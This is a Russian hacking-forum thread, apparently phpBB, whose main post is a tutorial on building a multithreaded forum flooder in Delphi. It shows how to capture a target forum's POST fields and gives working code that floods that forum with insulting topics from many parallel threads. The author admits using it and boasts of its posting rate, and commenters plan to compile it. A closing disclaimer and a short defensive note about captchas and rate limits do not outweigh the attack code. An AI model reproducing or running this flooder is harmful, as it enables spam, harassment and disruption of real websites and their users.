Форум о защите от: хакеров, взлом, раскрутка, хакер, вирусы, взлом программы, взлом паролей, взлом вконтакте, взлом icq, раскрутка сайта, взлом скачать, взлом почты, взлом ru, проги взлома, хакер, программа взлома, трояны, программирование http://ah.flybb.ru/ |
|
Пишем флудер http://ah.flybb.ru/topic878.html |
Страница 1 из 1 |
Автор: | BECHED [ 21-03, 16:25 ] |
Заголовок сообщения: | Пишем флудер |
Желание написать прогу, способную оставлять кучу сообщений, на форуме определенного сайта, назовем его http://****/, у меня родилась после того, как в моем классе (я учусь в 11 классе) учитель объявил, что в Оренбургской области впервые будет введена система, по которой мы будем сдавать 6 ЕГЭ. Все бы ничего, но объявили об этом в середине января! и главное, среди обязательных предметов стоит литература! Блин кто знает ответ на следующий вопрос: Какое название Н.Г. Чернышевский дал художественному открытию Толстого, отобразившего «текучесть» внутренней жизни человека, ее изменчивость? Ответ____________________________ Это есть в демонстрационном варианте ЕГЭ по литературе за 2008 год. Ладно, хватит нюни распускать, пора к делу. Итак, наш флудер будет оставлять на сайте обидчика кучу сообщений, вроде министр образования - ***. А вернее будет создавать кучу тем с соответствующей надписью. Писать флудер будем на Delphi, не без помощи Indy, знаю WinSock круче, но почему Фленову можно писать почтовик с помощью компонентов, а мне флудер нельзя? (кто читал Delphi глазами ][акера, тот меня поймет). Сейчас главное понять, что веб браузер передает на сервер при создании темы. А вернее что передается при Post запросе. Итак, топаем на сайт обидчика, заходим на форум и открываем страничку создания новой темы (http://*** /obr/forum/30/add/). Так теперь наводим мышь на кнопку с текстом «Отправить», и видим, куда эта кнопка отправляет запрос: «/obr/forum/?action=forum_add_message&forum_id=30». Теперь у нас два варианта развития событий. 1 вариант мы ставим HTTP снифер. Например, насадку на IE, тут тебе поможет гугл и собственный мозг. 2. Мне качать снифер было лень, да и светиться на форуме не хотелось =). По этому я сохранил страничку на винт, запустил Денвер, создал виртуальный хост и запихал страницу туда. Далее в той же папке что и сохраненная страничка был создан файлик proba.php(зачем увидишь потом). Далее в опере открыл сорцы странички и запустил поиск следующей фразы: /obr/forum/?action=forum_add_message&forum_id=30- это путь к скрипу, который отвечает за создание темы и поменял его на /proba.php (так вот зачем этот загадочный файлик =) ). Так теперь в файлик proba.php я засунул такой код: < ? print_r($_POST); ? > эта штука просто выводит на экран все, что пришло в POST запросе =). Потом открыл в опере только что созданную страницу, заполнил форму и увидел, что на сервер передается следующее: mes_author_name=vovchik // указанный ник mes_author_mail=*****@***.ru // указанный мыльник user_login= // логин (можно не заполнять) user_password= //пароль (можно не заполнять) mes_subject=Егэ в топку // тема mes_text= ***** // сообщение в общем, все понятно осталось тока сделать тоже самое, но с помощью Delphi. Итак, мы создадим н-ое число потоков (в Delphi каждый поток это объект и это сильно нам поможет). Каждый поток будет «бомбить» наш сайт твоими сообщениями. Представьте, у меня с исходящим каналом в виде GPRS и числом потоков в 50 штук прога оставляла 2 сообщения в секунду! Хорошо, что я вовремя остановился! Так, теперь давайте посмотрим, как пашет это «чудо». Для этого бросьте на форму компонент TIdHTTP с вкладки Indy Clients. Нам это нужно чтобы знать, какие файлы будут подключены к нашему проекту. Так теперь создайте новый поток (File->New->Other->Thread Object). Теперь сохраните проект себе на винт (это ОБЯЗАТЕЛЬНЫЙ шаг). Так теперь видите в файле потока блок uses? скопируйте туда все, из такого же блока в файле, где описывается главная форма (вот зачем мы кидали ненужный компонент на форму). Так теперь посмотрите на описание класса вашего потока вы должны увидеть что-то похожее на: type TFluder = class(TThread) private { Private declarations } protected procedure Execute; override; end; поменяйте все на: type Fluder = class(TThread) IdHTTP1: TIdHTTP; IdCookieManager1: TIdCookieManager; procedure IdHTTP1Redirect(Sender: TObject; var dest: String; var NumRedirect: Integer; var Handled: Boolean; var VMethod: TIdHTTPMethod); private { Private declarations } protected procedure Execute; override; end; (только не забудьте, что имя потока у вас может быть другим!) далее жмем ctrl+Shift+C и получаем такую вот «заготовку» события Redirect она нам пригодится: procedure Fluder.IdHTTP1Redirect(Sender: TObject; var dest: String; var NumRedirect: Integer; var Handled: Boolean; var VMethod: TIdHTTPMethod); begin Handled:= TRUE; end; как ты понял, нам нужно будет в заготовку дописать тока одну строку: Handled:= TRUE; это нужно что бы после того как мы получим редирект от сервера мы его правильно обработали =). далее мы имеем процедуру procedure Fluder.Execute; это та процедура, с которой начнется выполнение нашего потока. Тут мы и будем «бомбить» сервер.… Но перед этим теория! Итак, компонент TIdHTTP у нас лежит не на форме, а значит, не будет создан автоматически его придется создать «в ручную», так же как и обычный объект. Но толку от него будет мало, он ведь должен будет еще что-то передать, для этого у него есть два метода function Post(AURL: string; const ASource: TStrings): string; и function TIdCustomHTTP.Get(AURL: string): string; первый имеет два параметра, а второй тока один. Оба они возвратят то, что вернул нам сервер после запроса. Если у метода GET все понятно, там все данные передаются через единственный параметр, то у метода POST нужны пояснения, второй параметр нужен для передачи данных через POST запрос, и храниться они должны в объекте TStrings или его потомке (TStringList);. Думаю все понятно и пояснено, так что в бой мой друг. Теперь в процедуре Execute смело ставь такой код: procedure Fluder.Execute; var txt: TStringList; begin IdHTTP1:= TIdHTTP.Create(NIL); //Это наш HTTP клиент IdCookieManager1:= TIdCookieManager.Create(NIL); //Менеджер Куков иногда он нужен txt:= TStringList.Create; //Тут будет POST запрос while (Terminated = False) do // собсна главный цикл begin txt.add('mes_author_name='+NameStr); //Переменные txt.Add('mes_author_mail='+MailStr); txt.Add('user_login='); txt.Add('user_password='); txt.Add('mes_subject='+TemaStr); txt.Add('mes_text='+TextStr); // запрос idHTTP1.Post('http://****/obr/forum/?action=forum_add_message&forum_id=30', txt); end; txt.Free; exit; end; теперь мы почти готовы нам нужно только кинуть на форму кнопку и поставить к ней такой код: procedure TForm1.Button1Click(Sender: TObject); var i: integer; //счетчик Cout: integer; //число потоков begin try Cout:= StrToInt(Edit1.Text); //пытаемся узнать число потоков из Edit а except ShowMEssage(‘Вводи верно!'); exit; end; NameStr:= NickEdit.Text; // думаю ты понял что все переменные я беру из Edit’ов MailStr:= MailEdit.Text; TemaStr:= TemaEdit.Text; TextStr:= MessEdit.Text; SetLength(Potoks, Cout); //Меняю длину массива указателей for i:= 0 to Cout-1 do //активирую флуд begin Potoks[i]:= Fluder.Create(true); Potoks[i].Resume; Potoks[i].Priority:= tpLower; end; end; тут мы создаем энное количество потоков и хирячим ими сайт недруга! Перед компиляцией добавь в глобальные переменные вот это: var Form1: TForm1; Potoks: array of Fluder; //Массив указателей на потоки NameStr, MailStr, TemaStr, TextStr: string; //Строки где хранятся переменные для //передачи на сервер я их беру из Edit’ов думаю, ты сам во всем разберешься, если тока подумаешь, это конечно не идеальный метод и подойдет он только для определенного количества форумных движков, но и это уже здорово! Мораль: помни флуд - это не гуманно! и не красиво этому стоит научиться, чтобы защищаться от этого! но не более того, я не в коем случае не хочу побуждать тебя к действию я лишь хочу указать на не совершенство некоторых сайтов. Информация к размышлению: Итак, почему мне удалось написать флудер так быстро? Виноват в этом конечно администратор портала, то подобие на форум, что поставил админ, не имеет ни каких преград для таких флудерастов как я =). Право оставлять сообщения на форуме должны иметь только зарегистрированные пользователи! причем движок не должен принимать более 2-3 сообщений в минуту от одного и того же пользователя, человек физически не сможет написать больше сообщений! При регистрации пользователя должна быть капча, она конечно тоже не надежна, но это защитит от большинства таких «атак». В общем, не делайте таких ошибок. Happy End: кст. нам все же отменили ЕГЭ по литре теперь мы будем сдавать ее в традиционной форме, и хорошо что я не успел применить флудер по назначению!(разве что совсем чуть-чуть =)). Пару слов модератору: Я заранее извиняюсь за свой Русский язык, я выше тройки по нему никогда не имел, и все контрольные нагло списывал у одноклассниц, так что извиняюсь... alexsandrch-ch |
Автор: | Геннадий [ 10-12, 20:30 ] |
Заголовок сообщения: | |
Рулишь чел |
Автор: | BECHED [ 10-12, 20:32 ] |
Заголовок сообщения: | |
Геннадий Вообще-то внизу стоят копирайты - это не моя статья) |
Автор: | Trier1989 [ 25-12, 22:45 ] |
Заголовок сообщения: | |
будем пробовать статейка заинтересовала... хз актуальна или нет, домой приду буду компилить еси че потом отпишуся) |
Автор: | agressor55555 [ 25-01, 22:11 ] |
Заголовок сообщения: | |
вируси - это зло! |
Страница 1 из 1 | Часовой пояс: UTC + 3 часа |
Powered by phpBB® Forum Software © phpBB Group http://www.phpbb.com/ |